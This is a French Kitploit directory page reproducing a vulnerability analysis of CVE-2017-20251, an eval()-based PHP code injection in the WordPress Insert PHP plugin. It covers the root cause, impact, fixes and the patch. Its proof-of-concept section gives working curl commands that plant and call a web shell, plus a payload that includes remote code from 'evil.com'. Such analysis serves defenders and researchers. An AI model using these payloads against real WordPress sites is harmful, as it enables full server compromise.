Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
By-Poloss..-..CVE-2017-20251 — Insert PHP Plugin PHP Code Injection | Kitploit
Outils/GitHubGitHub/polosss/by-poloss..-..cve-2017-20251
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubpolosss/by-poloss..-..cve-2017-20251

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

By-Poloss..-..CVE-2017-20251

Insert PHP Plugin PHP Code Injection

Voir le dépôt
1il y a 2 moisPas encore vérifié

CVE-2017-20251 : Injection de code PHP dans le plugin Insert PHP

Titre de la vulnérabilité

Injection de code PHP non authentifiée via le traitement des shortcodes dans le plugin Insert PHP

Informations de base

ChampValeur
Identifiant CVECVE-2017-20251
PluginInsert PHP (maintenant Woody Code Snippets)
Versions affectées< 3.3.1 (testé sur 1.3)
CWECWE-94 (Injection de code)
CVSS v3.19.8 (Critique)
Vecteur CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
DivulgationPublique (Exploit-DB 41308)

Description

Le plugin Insert PHP avant la version 3.3.1 permet à des attaquants distants d'exécuter du code PHP arbitraire via une vulnérabilité d'injection de shortcode. Le plugin enregistre un shortcode [insert_php]...[/insert_php] qui évalue directement le contenu à l'intérieur des balises du shortcode en utilisant la fonction eval() de PHP sans aucune désinfection ni validation.

Un attaquant capable de créer ou de modifier des articles (via l'API REST, XML-RPC, ou avec un accès contributeur/administrateur) peut injecter du code PHP arbitraire dans n'importe quelle page ou article qui affiche son contenu, réalisant ainsi une exécution de code à distance complète sur le serveur web.

Analyse technique

Cause racine

La vulnérabilité se trouve dans la fonction will_bontrager_insert_php() enregistrée comme filtre the_content :

root@kitploit:~
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
    $will_bontrager_content = $content;
    preg_match_all(
        '!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
        $will_bontrager_content,
        $will_bontrager_matches
    );
    $will_bontrager_nummatches = count($will_bontrager_matches[0]);
    for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
        ob_start();
        eval($will_bontrager_matches[1][$will_bontrager_i]);  // <-- VULNÉRABLE
        $will_bontrager_replacement = ob_get_contents();
        ob_clean();
        ob_end_flush();
        $will_bontrager_content = preg_replace(
            '/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
            $will_bontrager_replacement,
            $will_bontrager_content,
            1
        );
    }
    return $will_bontrager_content;
}

add_filter('the_content', 'will_bontrager_insert_php', 9);

Points clés :

  1. Le contenu du shortcode est passé directement à eval() sans aucune désinfection
  2. Aucune vérification d'authentification ou de capacité n'est effectuée
  3. Aucune validation que le contenu provient d'un article de snippet légitime
  4. Le filtre s'exécute avec la priorité 9, traitant le contenu avant les autres filtres WordPress

Vecteur d'attaque

  1. Accès initial : L'attaquant crée ou modifie un article avec un contenu malveillant contenant le shortcode [insert_php]
  2. Livraison : Le shortcode est stocké dans la base de données WordPress en tant que contenu d'article
  3. Exécution : Lorsqu'un utilisateur consulte la page, WordPress exécute les filtres the_content
  4. Impact : La fonction eval() exécute du code PHP arbitraire sur le serveur

Conditions d'exploitation

  • Site WordPress avec le plugin Insert PHP version < 3.3.1 installé et activé
  • L'attaquant doit avoir la capacité de créer ou de modifier des articles (rôle contributeur ou supérieur)
  • Dans WordPress < 4.7, l'API REST permettait la création d'articles non authentifiée (permettant une RCE complète sans authentification)
  • Dans WordPress >= 4.7, l'authentification est requise pour la création d'articles via l'API REST

Impact

Gravité : Critique

Exécution de code à distance (RCE) complète sur le serveur web :

  • Exécuter du code PHP arbitraire sur le serveur
  • Lire/écrire tout fichier accessible à l'utilisateur du serveur web
  • Accéder aux identifiants de la base de données à partir de wp-config.php
  • Installer des shells web ou des portes dérobées
  • Pivoter vers d'autres systèmes
  • Compromission totale de la confidentialité, de l'intégrité et de la disponibilité

PoC - Commandes Curl

Étape 1 : Créer un article avec un shortcode malveillant (authentifié)

root@kitploit:~
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{
    "title": "Malicious Post",
    "content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
    "status": "publish"
  }'

Étape 2 : Visiter l'article pour déclencher l'exécution du code

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

Étape 3 : Vérifier l'exécution du code

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"

Alternative : Test direct avec eval() (Preuve simple)

root@kitploit:~
# Créer un article
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'

# Déclencher
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

# Vérifier
cat /var/www/html/rce_poc.txt  # Devrait afficher : RCE-SUCCESS

Référence Exploit-DB (Non authentifié, WP < 4.7)

Pour les anciennes versions de WordPress où l'API REST permettait la création d'articles non authentifiée :

root@kitploit:~
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
  -H "Host: target.com" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "1234ffff",
    "title": "by Hacker",
    "content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
  }'

Exemple de réponse

Lorsque le shortcode vulnérable est traité, le code PHP à l'intérieur est exécuté par eval(). Pour le test du fichier marqueur :

root@kitploit:~
Requête : Créer un article avec [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Réponse : Article créé avec succès

Requête : GET /?p=POST_ID
Réponse : La page s'affiche, le code PHP s'exécute, marker.txt est créé sur le serveur

Vérification :
$ cat /var/www/html/marker.txt
SUCCESS

Mesures correctives recommandées

  1. Immédiat : Désinstaller le plugin Insert PHP ou mettre à niveau vers la version 3.3.1 ou ultérieure
  2. Plugin alternatif : Utiliser un plugin de snippets de code moderne comme WPCode qui utilise des contextes d'exécution sécurisés
  3. Si vous devez utiliser des snippets PHP : S'assurer que seuls les administrateurs de confiance peuvent créer/modifier des articles, et envisager de désactiver l'API REST pour les non-administrateurs
  4. Durcissement : Définir la constante DISALLOW_UNFILTERED_HTML (bien que cela n'atténue pas complètement le problème)

Analyse du correctif

La version corrigée (3.3.1+) :

  • A renommé le shortcode de [insert_php] à [wbcr_php_snippet]
  • A supprimé l'utilisation directe de eval() au profit d'un contexte d'exécution sécurisé
  • A ajouté des vérifications d'authentification sur les points de terminaison de l'API REST
  • A implémenté une validation de l'ID du snippet avant l'exécution

Références

  • Exploit-DB 41308
  • NVD CVE-2017-20251
  • Page du plugin WordPress
  • CWE-94 : Injection de code
Télécharger l’outil